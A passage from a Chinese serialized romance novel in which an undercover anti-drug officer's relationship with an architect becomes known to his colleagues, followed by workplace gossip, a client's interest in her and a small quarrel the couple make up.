谢天明:“有问题?” “他没有我见过的赵吉高,不知道是我记错了还是他有问题。”毕竟那次沈宗野也是在大鱼拍下的视频里看到,后面在董自新身边也只是匆匆瞥过一眼。 谢天明说:“就算他是有双胞胎兄弟也很难查啊,他们这些毒贩零口供,到现在一个字都没交代。” 所有罪行也不过都是程启天的指控,加上一些马仔指控,才将这些毒贩定罪,现在就算是沈宗野想再提审赵吉,也得不到口供。 回到办公室,爱钓鱼的老孙打来视频电话,他今天收获非常好,鱼护里都快装不下了,问沈宗野去他那里做饭行不行。 沈宗野的房子宽敞,落地窗外就是一片湖,风景也好,大家之前也去做过几次饭。 梁然从出差那次之后就没再去过沈宗野那里,最近他们也有两天没见过了,沈宗野说“行”,今晚他也有空。 谢天明撑在沈宗野肩膀上,看着鱼护里挤不下的鱼,大笑:“下班了大家一起去!” 同事说:“我们组晚上要去抓个毒贩,等我们一起啊。” …… 傍晚,夕阳隐入云层,城市在夜幕里永不熄灭,霓虹绚烂。 白色汽车穿行在车流中,梁然回到了家里。 今晚是梁悦难得不在家的一天,她跟来南城旅游的两个女同学出去玩了。梁然让司机王姐陪着梁悦,王姐和梁悦刚报备现在回了酒店,明早要去博物馆。 刚从甲方的会议上回来,梁然在沙发上坐了好一会儿。 家里很空,葡萄也被梁悦带走了。 梁然很想沈宗野。 她拨了电话给沈宗野。 沈宗野很快就接起电话:“下班了吗?” “嗯,刚到家,你呢?” “还没下班,在局里。” 梁然睫毛轻抬:“今晚加班吗?” “没有,再有一两个小时就下班了,等同事们一起。” 梁然弯起红唇,走到玄关重新换了一双平底单鞋,拎起包包链条走出家门。 她想去给沈宗野一个惊喜。 沈宗野听到电梯的声音:“要出门吗?” “嗯,拿个东西。”梁然说,“挂了吧,待会儿再聊。” 她开车驶向了沈宗野的家。 之前谢天明给她的门禁卡还在她这里,沈宗野也给过她一把钥匙。 到了沈宗野的小区,梁然拎上后备箱里几瓶酒走进沈宗野家里。 客厅里很干净,落地窗外是一汪澄澈的湖泊。 梁然将酒调配好,去浴室里洗漱。 她这也算是小小的惊喜,但是对毫不知情的沈宗野来说,简直是轰动的厚爱。 沈宗野带着同事往家里赶。 等待出任务的同事时,几个等不及的同事和老孙把鱼都杀好了,又去买了些熟菜,大家手上都拎着东西。 沈宗野走在前面,按下指纹打开了房门。 客厅里亮着灯,玄关摆着一双女士单鞋。银色的鞋子是平底,但是鞋头尖尖的,鞋面上镶着晶钻,一看就是价格不菲,是爱漂亮的女生才会穿的类型。 一只白色的羊皮包包放在玄关柜子上,印着价格不菲的LOGO。 沈宗野怔住了,惊喜从他眼底闪过,他知道是梁然来了,但显然梁然这会儿会撞到他的同事,不知道对她会不会造成困扰。 几个站在门口的同事看到这一幕,已经愣完了。 在沈宗野回头时,他们才回过神起哄:“沈淮宗,你都谈恋爱了?卧槽真的看不出来,藏得这么深!” 老孙扒拉开门口的三个人:“弟妹呢?今天能见到弟妹属实来对了!” “嫂子在这儿?”谢天明挤了个脑袋进门,“那太好了,把嫂子介绍给他们,亮瞎他们的眼!” 梁然已经在这个动静里从盥洗室开门出来。 短短几句话自然都传到了她耳朵里,她哪里知道沈宗野会带同事回家。 梁然穿过客厅。 沈宗野回身看向她。 她抿唇一笑:“你回来了,都是你同事吗?” “嗯,他们今晚来我这里聚餐。” 梁然穿着睡衣,外面是一件香槟粉睡袍,灯光下泛起真丝的缎光,极薄的面料垂顺在身体曲线上。服装倒是没有什么出错的地方,并不暴露,只露出膝盖下方白皙的双腿,但她头发湿润,长相太过漂亮,穿着睡衣出现在大家面前,很难不让人想入非非。 沈宗野素来都很淡定,只有在此刻才有些局促,害怕梁然会怪他。 这段关系不像谢天明和同事们以为的那样。 他们根本不算正常的情侣,沈宗野害怕在这段关系里让梁然感到不愉快,他害怕梁然的失望,害怕他触犯她的规则。 他晦暗的眼睛里有些不安。 “你们好。”梁然仍挂着微笑:“让大家进来吧,我去换件衣服。” 门口的同事还有点发呆。 大家面面相觑,有人惊艳,有人震撼。 他们都见过梁然。 在梁然被带回局里审问时,关心沈宗野案子的人几乎都在单向镜后见过梁然的样子。 即便没见过,他们也全都听过梁然给局里捐了禁毒经费。 两千万,一个25岁的年轻女生捐的。 沈宗野找出一次性拖鞋。 几个人动作很慢地换鞋,给梁然和沈宗野缓和的时间。 沈宗野让大家进屋。 梁然已经换好了衣服出来,身上是一件无袖的白色上衣,下身是舒适慵懒的亚麻长裤。 “你们先吃点水果,我来做饭。”沈宗野安顿好同事,走向梁然,眼里有些歉意。 他嗓音很低:“抱歉,我不知道你在这里,是我忘了跟你说一声。” “没关系,这是你家嘛。”梁然说,“我的出现对你有影响吗?” “没有,我是怕给你造成困扰。” 梁然抿了抿唇,他们的聊天很像甲方和乙方。 她笑:“无所谓。我帮你吧。” 梁然是从没下过厨房的人,她只能帮忙洗菜。 沈宗野没要她帮忙,牵着她走到沙发那边。 几个同事连忙起身给他们让位置。 沈宗野说:“给大家介绍一下,这是我女朋友,梁然。” 沈宗野扬起薄唇,看向梁然时利落稳重的眼眸里会有下意识的柔情。 他低沉的嗓音也比以往都柔和:“这些都是我同事,这是老孙,我叫他孙哥,局里缉毒一把手,冲锋陷阵打头的。孙哥爱钓鱼,今天钓到不少鱼,大家过来弄着吃。这是赵海……” 沈宗野一一介绍。 大家都在和梁然打招呼,脸上挂着笑。 今晚有九个同事都来了,包括钱晓晴。沈宗野原本不想带钱晓晴,那会儿在想理由拒绝时,谢天明说郑云深在追求钱晓晴,总不能平白无故拒绝两个人吧。钱晓晴这才出现在了这里。 知情人士都不免会多看一眼钱晓晴,女生表情很正常,但还是能看出一点落寞。 还有两名女警也在场,对梁然这样的外表很是羡慕,但有些不敢亲近。 梁然和乔思嘉是不一样的气质,她的长相过于漂亮,清冷的气质让这份美貌带着一点不近人情的攻击性,但是和她聊过几句后,才会发现她很平和。 两名女警跟梁然说了几句,才逐渐放开,问起她:“你和沈哥什么时候在一起的啊,是因为那个案子结的缘吗?” “嗯,我们在一起快一个月了。”梁然说。 “真好!那天沈哥生日你没有在场,如果你在场就好了!那天沈哥的生日聚会上有个女生跟你一样好看,和沈哥的发小站在一起特别登对。”说话的女警叫秦丽坤,她笑,“要是你跟沈哥站在一块儿,你们俩才是最登对最亮眼的!” 梁然一笑:“你说的女生应该叫嘉嘉,是我闺蜜。沈宗野那天没叫我。” “沈宗野?”秦丽坤笑,“你还叫他办案时的名字啊。” 大家都哄笑起来,钱晓晴被气氛带动也笑了下,但又很快敛下笑,沉默地悄悄打量梁然。 梁然是个混职场的,还混着那么难混好的建筑圈子,自然感受到了钱晓晴的视线。她很自然地扫过沙发对面的女生,眼里不带任何敌意,平静地打量,又淡淡将视线落回和她聊天的秦丽坤身上。 秦丽坤说这也算是他们的缘分,所以沈宗野这个名字只有梁然叫起来才最合适。 坐在钱晓晴身边的女警叫田雪,田雪问:“沈哥的手指就是在这个案子里断的,你在场吗,跟你有关系吗?” 梁然有些意外,她的确从来没想过这个问题,没有问过沈宗野大拇指断掉的具体细节。 她看向沈宗野。 沈宗野已经在田雪问出这个问题时就淡下了脸色。 “梁然只是接触我潜伏期的部分任务,也从来没有影响过我办案,跟她没关系。”沈宗野薄唇浮起一丝极淡的笑,“田雪跟我们一堆男人呆久了,问的话都像在审犯人。” 田雪忙跟沈宗野道歉,说她不了解情况。 其他同事也说笑着绕开了话题。【你现在阅读的是魔蝎小说 moxiexs】 90-100 第91章 第91章“我从来没有觉得你亏欠…… 沈宗野的大拇指是怎么伤的,在场也就老孙和谢天明知情。 老孙和谢天明说:“鱼还吃不吃了?” “就是,饿死了。” 沈宗野看了眼梁然,梁然迎上他视线,朝他勾起红唇一笑。 她是梁然,什么风雨没经历过,还能被一个带着一点刁难的心直口快的女警难住吗。 梁然绕过众人,起身给他们倒她调好的酒。 “喝鸡尾酒么,度数不高,只有十几度。” 田雪说:“虽然明天不上班了,但我们纪律很严,大家很少喝酒的。” 秦丽坤说:“有什么嘛,我要尝尝!” “我也试试。” 说话的是郑云深。他跟沈宗野同龄,高大帅气,来帮梁然调酒,笑着和她说起:“美女,你可得把沈哥拴紧了,别让他被别人盯上,拜托你了。” 秦丽坤:“咱们这群人里就你最高兴吧,你要追晓琴关咱们什么事啊。” 郑云深“嘘”一声,生怕钱晓晴听到。 他的高兴倒是实打实的,他也喜欢钱晓晴很久了,但知道钱晓晴喜欢的是沈宗野,就一直没敢公开对钱晓晴的喜欢。这回沈宗野这个任务去了这么久,郑云深才明里对钱晓晴表露出好感,大家也都知道了他的心思。 秦丽坤说:“凭什么要梁然拴紧沈哥,我看沈哥自己得加把劲,把这么优秀的美女想方设法留在户口本上才对。” 谢天明凑过来对秦丽坤竖拇指。 沈宗野在厨房和两个同事做饭,好几次回头看梁然这边,担心她一个人应付不了他的同事。 爱做菜的老薛就说:“你去吧,我看着。” 沈宗野没客气,来到了梁然身边。 大家在问梁然沈宗野在恋爱里是什么样子,是不是像工作里的那严谨机器,又问梁然是谁追的谁。 沈宗野说:“我追的她。” 梁然抿唇轻笑。 饭做好了,桌上都是老孙钓的鱼,好几样做法,口味都不相同,大家还买了一些熟菜,又做了几道素菜。餐桌上倒是非常丰富,吃饭的气氛也很热闹。 钱晓晴在为田雪剥虾,郑云深就为钱晓晴剥虾。 梁然已经吃过了,但还是陪着大家吃了一点,她吃了清蒸的鱼和清炒西蓝花,沈宗野也帮她剥了一只竹节虾放到她碗里。 这时大家才有些变化。 梁然也是在吃着这只虾时捕捉到了他们微妙的变化。 田雪说:“嫂子,你不给沈哥剥虾吗?大拇指算是比较严重的残疾了,他的手指不好剥,平时在局里我们都会照顾到这些细节的。” 沈宗野说他的手指不影响。 梁然对田雪的话有些意外,她很自然地说:“他没问题,他是个正常人,我也从来没有把他当过残疾人。他比很多健全的人都厉害。” 她吃完了碗里的虾。 餐桌下,沈宗野握住了梁然的手。 梁然抿了抿唇。 谢天明有些不高兴:“沈哥就是很厉害啊,他单手都能干翻一票毒贩,剥个虾算什么。嫂子,我给你剥,还想吃几只?” 田雪愣了半晌,解释她没有别的意思。 她这样发言只是因为和钟晓晴的关系好,冷不防面对一个突然降临的梁然比过了爱慕沈宗野两年的同事,她自然敢直言不讳。 事实上大家也会因为沈宗野的手指在日常工作里对他开启特殊照顾,但谁都知道沈宗野并不需要那些照顾。 好像他们所有人都已经把沈宗野当做了一个残疾人,但是只有梁然没有。 这顿饭结束后,沈宗野将众人送进电梯才回来。 因为刚才一直在担心梁然的情绪,沈宗野回家之后就没有换过衣服,身上还穿着执勤服。 蓝色衬衫的肩章上缀着威严凌正的四角星花,沈宗野的纽扣系到最上面一颗,执勤服只是沈宗野最寻常的一套制服,但梁然是第一次见沈宗野穿制服,格外有一种英正卓立的气质。 梁然站在客厅。 “你同事都走了?” “嗯,都送走了。”沈宗野说,“抱歉,我今天忘了提前跟你说一声,是我没处理好。” 梁然一笑。 她和沈宗野谁都没有报备的习惯,是她自己突然来的,用不着和她道歉。 “没关系,本来是想给你个惊喜。” “我确实很惊喜,见到你我很开心。”沈宗野轻轻拥住梁然,吻了吻她头顶的头发,“然然,我有两天没见到你了。” 梁然说:“我也是。” 她想了想:“那个叫晓琴的女警也是你同事吗?” “是,她不算缉毒警,管档案的。” “她喜欢你?” 沈宗野的脸色严肃起来,他的五官和脸型都太过英俊,冷静起来时让这张脸充满了高高在上的淡漠,他其实没有警察那种平易近人。他很像是雪山之上的一颗孤松,又像博物馆的珍宝展厅里绝世的稀品。 梁然弯起唇,在这安静里询问沈宗野。 他的严肃让梁然有些意外,也有些失笑。 她又不会制止他有爱慕者,他好像过于紧张了。 “我和钱晓晴没有任何关系,我拒绝过她很多次,而且已经说得很明白。”沈宗野说,“梁然,你别误会。” “我没误会啊,我只是在问你。”梁然说,“你这么紧张做什么,那只是你的爱慕者,我不会介意,除非你影响到了我们的关系……” “我不会。”沈宗野拥住梁然,“希望你别介意,我以后不会再带同事来我这里了。” “我真的不是这个意思。” 沈宗野说:“我明白。” “算了。你在你的职业里很优秀,自然有你的爱慕者,我不会介意这些。你自己有边界感就OK。” 沈宗野圈在梁然腰间的手臂更收紧。 梁然也没有再讲话,安静埋在沈宗野肩膀上。 她望着眼前肩章上的四角星花,笑容渐渐变深:“我第一次见你穿制服。” 沈宗野抿起薄唇:“你喜欢看?” “不喜欢这一套。” 沈宗野这才好笑地弯弯唇,不再像刚才那么紧绷。 梁然从这个拥抱里抬起头,手从沈宗野脖子上滑下,动作那么自然,神态也清纯:“最近在健身吗?” 隔着制服的面料,梁然感受到他肌肉线条的紧实。 沈宗野喉结轻滚,握住她的手说:“今天去狱里了,我先洗个澡。” 梁然莞尔。 沈宗野很爱干净,他身上没有一丝汗液的气味,只有洗发水的薄荷香与衣物上干净的皂香。 梁然走到了沈宗野家的楼上。 二楼是书房和健身房,梁然翻看起沈宗野的书架。上面都是一些专业性的书籍,除了毒品相关类还有几本尸检报告、法律文书,梁然抽出一本《新型毒品》翻看。 沈宗野上楼时好像特意放轻了脚步,梁然没有听到声音,他的手臂已经圈在她腰间,滚烫潮湿的呼吸钻进她耳朵里。 耳周的敏感让梁然双肩微耸,本能地偏头躲避。 沈宗野亲咬着她耳骨,虽然只有两天没有再见,可他们有接近半个月都被隔离在各自忙碌的生活之外。沈宗野的亲吻粗野、汹涌,不容抗拒的霸道,但是在梁然敏感的喘息里又极尽温柔。 手里的书“啪嗒”掉在了地板上。 梁然回过身,勾住沈宗野后颈,仰起脸回应他的吻。 沈宗野说:“还要回去么?” “悦悦去和同学玩了,今晚我想留在你这里。” 沈宗野的眼睛里也会升起星辰。 梁然睁着迷离的桃花眼,刚才晚饭上饮的那杯龙舌兰的烈被单枞茶的兰香冲散,她已经洗漱过了,但心上还是像绕着那一抹被兰淬过的酒香。 她看着沈宗野的眼睛,他眼里的光好像比那杯淡酒更惹得人醺醉。 …… 不知道这场夜晚是几点收场的,梁然只记得汹涌的爱意盖过了光盛大。 但是她又这么清醒,她清醒地谨记沈宗野的职业,记得宁城的每一次危险。她绝对不会再踏足那样的险境,她很理智。 沈宗野这里的次卧之前都没有铺过床品,和梁然在一起后他才将次卧收拾出来。 月光下的手臂上突起青色筋络,沈宗野横抱起梁然回到次卧干爽的床上。 夜色极深,但梁然这次还没有睡得那么快。 她说:“他们知道我和你的关系,对你会有影响吗?” “不会。” 她又问:“当初你出现在我爸爸的相机里,是特意去赶他,为了救他?” 沈宗野微顿:“嗯。” 梁然握住了沈宗野的拇指,短顿的一截拇指被她手指紧握。 “以前是我误会你了,谢谢你。” “说这个做什么,我不需要你感谢我。” “是因为我把视频当成了证据,害你在怀城进了警局,我想应该是对你有些影响吧,是吗?” “没有,当时跟的毒贩很信任我。” 梁然说:“感觉还是很亏欠你。” “梁然,你不欠我。我从来没有觉得你亏欠我。” 梁然想了会儿:“你的手指跟我有关系吗?我好像一直没问过你细节。” “跟你能有什么关系,是向邬道伤的。”沈宗野语气很自然,圈紧梁然,“你不困?只能睡两个小时了……” 两人都一时沉默。 沈宗野是因为愧疚,谁知道他竟然这么不节制。 但梁然却有些想笑。 她忍不住笑出了声来。 沈宗野在夜色里挑起眉:“笑什么?” “忽然想起嘉嘉说的话。” “什么话?” “她说过上了某棠文里的小日子。” 沈宗野听不懂。 梁然俯身趴到他身上,在他耳朵里一字一句解释。 天光透亮的时候,梁然真是后悔死了。 她怎么能和沈宗野解释这个,她的腰都要断了。 第92章 第92章如果他真的爱你 这次聚餐让沈宗野和梁然的关系不再是秘密,局里几乎都知道了沈宗野的女朋友是他卧底期间接近他的那个受害者家属。 王局也知道这件事,一早把沈宗野叫到办公室里。 “你和梁然在谈恋爱,是真的?” “是真的。”沈宗野坦荡承认。 王局有些生气,盯着沈宗野:“你和谁交往不好,怎么会是她?” “她是你卧底期间身边的人,当初是你向我担保梁然没有问题,没影响过你办案。现在你们两个居然走到一起了……” 王有为气在这里,梁然既然和沈宗野是情侣的关系,那之前沈宗野的担保就经不起考验。 沈宗野说:“我和她在一起才一个月,不是卧底期间产生的情侣关系,在办案过程中梁然没有任何违法行为,我也对得起我这身警服。” “我不是说你有问题,是现在关系摆到明面上,大家都在讨论你们俩卧底期间的关系,上面也知道了。”王有为有些失望,也替沈宗野担心,“你明明就是一心干缉毒的啊,你再好好干两年,我就有理由把你提到不这么危险的位置上,怎么想着谈恋爱!” 还是和梁然谈。 王有为不看好沈宗野和梁然,沈宗野和李然张然都可以谈恋爱,但除了梁然。 “她是什么背景?她是国外名校毕业的高材生,她爸爸在那个建筑圈子是个德高望重的名人,人家从小就是一朵富贵花,怎么能跟你在一块儿!” 沈宗野没说话,任王有为宣泄了好半天。 等王有为说完,沈宗野说:“会影响梁然吗?” “你还关心她?你关心关心你自己吧!” 王有为说本来省厅很看好沈宗野的业务能力和品行,现在可能对他事业都有影响。好在梁然之前捐过巨额的禁毒经费,抵制毒品的立场鲜明,就算要接受调查,应该问题也不大。 “这件事我来办吧。”王有为气归气,还是冷静地看着沈宗野许久,以一个长辈的身份问他,“谈多久了?” “已经说了,一个月。” “你追的她,还是她追的你?” “我追的她。” 王有为冷笑:“你能追她?你怕是再喜欢都会藏着掖着吧。” 沈宗野说:“谁追谁有什么区别,我喜欢梁然,我想保护她。我和她恋爱不影响我的工作,也从没影响过之前的案子,想调查就来调查,我接受一切调查。” “行了,还有我呢。”王有为说,“上次你要我约的中医是给她约的?” “是,谢您了。” “这周挑个时间,把她带到我家吃个饭吧。” 因为王有为和沈知培关系很好,两口子也都把沈宗野当亲侄子,沈宗野以前也常去他们家里吃饭。 但沈宗野自然地说:“她去出差了。” “那就下周等她回来。” “她这几周都在出差,等她回来再说吧。” 梁然没有出差,是沈宗野害怕他过度的打扰没有边界感,他时刻都在遵守梁然的规则。 他眉眼淡淡,紧抿薄唇,英隽的脸上一副自然的神态。 但王有为有双洞察一切的眼睛。 王有为顿了半天,眯起的眼尾带着沧桑和锐利的尾纹,盯着沈宗野说:“小崽子,我知道你很辛苦,从小到大都很辛苦,如果你找的这个女孩是个能跟你稳定过日子的女孩,我替你高兴。如果她终有一天要跟你背道而驰,我就奉劝你趁早收心,别把自己弄得一身伤。” 沈宗野回到他的岗位上。 老孙凑过来小声问他:“不会影响你和弟妹吧?弟妹抵制毒品的立场很鲜明。” 他们也是在担心这个问题,怕不是影响梁然就是影响沈宗野的事业。 沈宗野说:“我和梁然没问题,我可以接受一切调查。” 谢天明走过来跟沈宗野说:“刚刚我去王局那了,我说我给你们证明。” “谢谢。” 谢天明扬声喊:“周五那晚的鱼堵不住有些人的嘴吗?真不知道谁嘴巴这么臭啊!” 老孙拉住谢天明,不让他把事闹大。 这件事情很微妙。 没有人举报沈宗野,但又泼了不清不楚的水。 沈宗野站起身,视线扫过这些并肩作战的同事。他自问他对所有同事都不薄,他们可以质疑他办案过程中有错漏,但不能质疑梁然。 沈宗野说:“我怎么配合都没关系,我女朋友上进努力,工作很辛苦,如果影响到她工作我就不痛快。” 老孙低声说:“算了,捕风捉影的事。” 田雪愣了片刻:“沈哥,你这么说话是什么意思啊?吃鱼的不就是我们吗,大家都看到你们在交往了,就算聊到你们也只是当聊天啊,又没有人去举报你。” 谢天明说:“是啊,敢讨论不敢正大光明举报,是不是不服沈哥又有二等功又有女朋友,不服自己去抓毒贩啊!” 王有为走到办公室吼了一声,大家这才没再继续争下去。 下班前,王有为单独对沈宗野说:“谈都谈了,就好好谈,别让别人小瞧了去。” 沈宗野说:“谢谢叔。” 谢天明坐上沈宗野的车一起下班离开。 他跟沈宗野吐槽:“肯定是田雪干的,她姐下班来接她,我听到她姐也知道这个事情,还说既然梁然又漂亮又有钱,跟你肯定不是来真的,把你当个高级鸭玩玩,气死我了!”田雪姐姐还说了一句“他俩长不了”。 谢天明当时就怼了田雪,田雪明明什么都没说,也委屈得不行,和她姐姐吵起来。 沈宗野紧抿薄唇。 谢天明说:“别气了,对你应该影响不大。” 沈宗野说:“我不该把梁然引进来。” “王局说应该不会影响梁然,放心吧。” 这事儿在两天后以王有为召开了严厉的组织纪律会议,在会上强调纪律性、团结性而结束。 王有为又给沈宗野接了个新闻栏目,安排他参加一场新闻访谈,传播缉毒正向能量,算是彻底了了这件事。 梁然对这些都不知情。 她的工作很忙,承接的美术馆项目已经开始动工,她和乔思嘉都一心扑在上面。 八月的骄阳热烈。 梁然配合着甲方的时间来到施工现场。 偌大的临湖场馆正在修建中,工人有序量着一堆建材。 梁然一身灰色西装,头戴一顶安全帽,阳光下她的皮肤透着一层薄红,和乔思嘉走在西装革履的青年身旁,介绍起目前的进展。 青年是梁然上次在建筑交流会上认识的陆朝,当时约梁然去打高尔夫那个。 陆朝27岁,气度出众,年轻有为,身价排在羊省富豪榜上,很有投资嗅觉。这座美术馆就带着很强的商业气味,却又是面向公共文化建设,一下子拔高了周边地价。 梁然说:“陆总还有什么疑问?” “这里挨着南湖,我就担心防潮的问题,你昨天会上已经解释了,我就没有疑问了。” 梁然说:“陆总放心,我们对防潮有专业的处理。” 下午四点的太阳依旧很毒。 陆朝的助理给他撑着伞,梁然和乔思嘉跟在后面,作为乙方,自然不能同步甲方的架子,她俩都站在阳光下。 陆朝看了眼她们,从黑色大伞下绕开,示意助理:“给梁总和乔总遮,回接待室吧。” 助理将伞撑在梁然和乔思嘉头顶,她们忙道了谢。 这里是南湖,对面就是沈宗野的家,那座高楼就伫立在湖泊远处。 梁然往那里看了眼。 乔思嘉心照不宣扬起笑。 从这里回接待室还要走几分钟,路边堆放着一些建筑杂物,接驳车也不能畅通行驶。 陆朝接了个电话,太阳太大,他就提了提西装裤腿坐到了一堆杂物上面。 梁然和乔思嘉停下等他,示意助理把伞给陆朝,助理低笑说:“没关系。” 陆朝这个电话讲了很久。 梁然正巧也接到了沈宗野的电话。 “在忙吗?” 梁然说:“在南湖,陪甲方在施工现场。” 沈宗野说:“外面太阳很大。” “嗯,有伞呢。” “今天我下班早,我去接你吧,你方便吗?” 梁然说:“可能会和甲方吃饭吧,我到时候联系你。” 沈宗野:“好,我不急,你先忙你的。” 梁然这个电话打完,陆朝那里也早片刻结束了通话,见她放下手机才起身。 他的助理看到他西裤上有灰,忙小心提醒,陆朝不甚在意地拍掉,继续前行。 梁然和乔思嘉在接待室呆到傍晚,陆朝对工作的态度和梁然一模一样,简直不能有一丁点漏洞,抓着她们俩聊了很久的工作,又在附近的餐厅请她们吃饭。 陆朝脱下西装,松了松领结让梁然和乔思嘉点菜,聊起他下一个住宅楼项目,他如今很信任她们工作室。 在陆朝出门去接电话的片刻,乔思嘉说:“他对你有意思。” 梁然说:“也许不算。” 梁然也能感受到一些,但是她觉得陆朝的条件不缺优秀的异性,而且一直是以工作的态度对待她们,看不出什么不同,唯一让她加上这句“也许”的应该是她偶尔去询问陆朝意见时,陆朝从她脸上移开的目光,像是心动的回避。 陆朝的助理进来说陆朝有事务得先走一步,让她们先吃饭,今天辛苦。 梁然和乔思嘉才放开,吃起这顿晚饭。 梁然给沈宗野发送了这里的地址,这里离他家里很近。 沈宗野回复她十分钟左右就能过来。 乔思嘉说:“真羡慕你,江凛跑沙漠去查线索了。” “这么远,去沙漠?” “嗯,有个杀人案,嫌疑人在游客的视频里无意露了脸,江凛和搭档连夜去沙漠了。” 梁然感概:“真辛苦。” “那还好,跟沈淮宗比起来差远了。像他们这种卧底一大半都是一辆没有回程的小火车,开出去就回不来了。”乔思嘉刚说完忙猛地闭上嘴,意识到口无遮拦说错了话。 今晚被甲方折腾到这么晚,一整天连轴转,这会儿桌上无人,乔思嘉才下意识脱口而出。 梁然没什么表情,脸上依旧平静清冷,吃着一份鱼子酱。 话已经说到这里,乔思嘉索性继续说:“你当初的决定也没毛病,毕竟他们是那么危险的职业。” 沈宗野给梁然发来了一个共享地图,地图上他头像上的海岸线离她的头像越来越近。 梁然忽然开口:“嘉嘉,我很自私吗?” “我即想要一段愉快的感情体验,又不想承担任何风险,我这算是很自私的行为吧。” 乔思嘉沉默片刻,认真回答梁然:“对沈淮宗来说可能你的行为算自私,对你来说就不算。我不是双标啊,人性很复杂,利己没有错,谁都不会明知有火还往火坑里跳。” “我想如果沈淮宗真的爱你,他会接受你这段关系,接受你这种方式。” 乔思嘉说,如果他真的爱你,他只会默默尊重你。 这句话似乎比烈酒的威慑力都要强,梁然今晚明明没喝酒,脑子里竟然有些闷,像从前应付年长的甲方时灌下几杯白酒,会头痛憋闷。 沈宗野的微信消息亮起,他已经到了餐厅门外。 地图上,梁然和他的头像紧邻在一起,中间只差一点点距离。 梁然和乔思嘉正准备离开,陆朝的助理抱着两束花走进包间。 她很礼貌地笑:“梁总,乔总,这是陆总给你们二位订的花,今天天气太热,又让二位加班到这么晚,陆总很感谢你们。” 梁然和乔思嘉收下花,表示感谢。 虽然花是两束,但梁然的是红玫瑰,乔思嘉的是很典型的商务鲜花混搭。 梁然和乔思嘉互看一眼。 乔思嘉:被我说中了吧! 梁然:真遗憾。 梁然从小到大的追求者一直都很多,她的外表太出色,一开口又有见解有学识,丰富的内在实在比外表更具诱惑力,和她接触久了被她吸引一点也不奇怪。 但是对梁然和乔思嘉来说,被甲方喜欢就实在很不好处理。 陆朝的助理说可以派车送她们,她们都婉拒了。 走向停车场,梁然和乔思嘉心照不宣交换了鲜花。 沈宗野等在梁然车前,夜色下,他身影有几分修长清郁,看到梁然走来,眼里的光才驱散这股清郁。 沈宗野弯起薄唇。 梁然远远扬起了笑。 乔思嘉说:“真是够了,不想看你们俩撒狗粮,我走了!” 乔思嘉开车驶出了停车场。 沈宗野看了眼梁然手上的花束,牵着她走到副驾驶帮她打开车门:“客户送的?” “嗯。” “怎么嘉嘉的是玫瑰,客户对她有想法?” 梁然:“你也这么八卦?” 沈宗野:“没有啊,职业习惯,会注意细节。” 梁然上了车,沈宗野将车驶向平坦的车道。 “你怎么过来的?”梁然问起,低头打开手机,才发现共享地图忘了退出,而沈宗野也还没有关。 他们的头像重叠在一起,在地图的长道上同步前行。 “坐船来的。” 梁然好笑,但看沈宗野说得很自然。 她疑惑:“南湖上面没有公交艇啊。” “有几艘私人游艇,我喊了别人,麻烦他们送我过来。” 梁然:“你是e人吧。” “应该不是吧,我没测过。” “那你很社牛。” “我不像吧。” 他们俩聊着这么无聊的话题,但梁然竟然觉得很轻松,她降下车窗,风落进她眼睛里,一整天工作的疲惫都被晚风驱散。 “送你回家?”沈宗野问。 “我想去你那里。” “那悦悦呢?” “我跟她说一声,她今天带了同学去我那里住,司机和季阿姨也在。” 梁然给梁悦打了电话交代完,梁悦很愉快地说“知道啦”。 车厢里安静,沈宗野也能听到听筒里这道声音,比梁然声线里的情绪更甜,他在红灯里停下车,握住梁然的手,薄唇边生起笑。 梁然说:“在想什么好事?” “什么时候你的声音会像悦悦这么甜,我倒很想听一听。” 梁然抿起笑。 路边有一家奶茶店,沈宗野将车停靠在路边:“楼下新开的,你想尝一尝吗?我之前点过一杯冷萃茶还可以。”沈宗野已经解下安全带。 梁然看了一眼,那家奶茶店门口排了有七八个人,沈宗野想买到就得排到这七八个人后面。 她说:“你要排队吗?” “嗯,这会儿还早,我想带你尝尝……” “我不想要。”梁然这句斩钉截铁。 她很少说这么冷漠的话,说出口她也有些怔住。沈宗野唇边的笑也收敛,那只准备去推门的左手重新落回安全带上。 “好,那就回家。”沈宗野重新发动汽车。 到了车库,梁然没有像以往那样等沈宗野下车为她开车门,她已经打开车门下了车。 沈宗野忙从车前来到她身边。 梁然的包忘了拿,沈宗野从后座拿起包,又询问她:“花要带上去吗?” 梁然望着沈宗野。 沈宗野在耐心等待她的回答,他的眼睛很好看,是那种微微内双的眼睛,明澈沉静,深邃得像一片深情的海,面对她时这双眼睛多了一丝平日看不到的温柔。 这一瞬间,他忽然像立于高处的圣光,而她像一个无处遁形的坏蛋。 梁然忽然就有些生气,也许更应该是自私和理智的天平终于无法平衡。 她想起乔思嘉说的,如果他爱你。 她冷冰冰地说:“你为什么要问这么多问题。” 沈宗野站在灯下,紧抿薄唇,眼眸里有一闪即逝的黯光,他认真地对她说:“抱歉。” 他关上了车门,没有再去拿那束花。 梁然往电梯走,不再回头。 沈宗野沉默地跟在她身后。 回到他的家,梁然径直去浴室里洗了澡。 出来时,沈宗野端给她一杯奶。 玻璃杯透着温热。 他说:“今天工作辛苦了,喝点奶早些休息。” 手上的温热竟像透过皮肤灼烧着骨头。 梁然面对沈宗野,觉得她才应该是那个不敢面对他视线的人。 他为什么要对她这么好,她明明说好了他们之间不要爱上彼此。 他就不能对他自己好一点吗?把对她的好放到他自己身上。 “我刷牙了。”梁然把奶放到桌上,绕过沈宗野回到卧室。 梁然不高兴,沈宗野只能感受到这个情绪。 他不知道梁然为什么不高兴,明明他们前一秒还在说笑,下一秒她就好像不高兴了。 是因为他去买奶茶? 是因为他没提前问过她需不需要? 沈宗野有些无措。 他能在危险的卧底中感知到毒贩微妙的情绪变化,但却没办法感知到梁然的情绪。 他不知道应该做什么才能哄梁然高兴。 这是他们在一起后梁然第一次背对他的夜晚。 沈宗野关掉顶灯,从身后抱住梁然。 “睡着了么。” “我给你讲个故事,要听吗?” 梁然没说话,只是覆住了沈宗野落在她腰间的手。 沈宗野弯起薄唇:“有个毒贩面部有多处刀伤,但是检查又没有伤口,你知道是什么原因吗?” 沈宗野没有自顾自讲下去,梁然又是那种绝对要弄清楚答案的人,声调懒懒问:“什么原因?” “因为他总是笑里藏刀,才看不到伤口。” 梁然:“……” “沈宗野。” “我在。” 梁然扑哧一声笑了。 沈宗野终于如释重负般,嗓音低沉:“然然,下次我做什么先问你,抱歉,我不会自作主张了。” 梁然没有说话。 沈宗野圈在她腰间的手臂越来越紧。 梁然终于转回身,抱住沈宗野。 两具身体紧贴着彼此,他们谁都没有说话,在这个长夜里相拥而眠。 第93章 第93章“梁然,我回来了。”…… 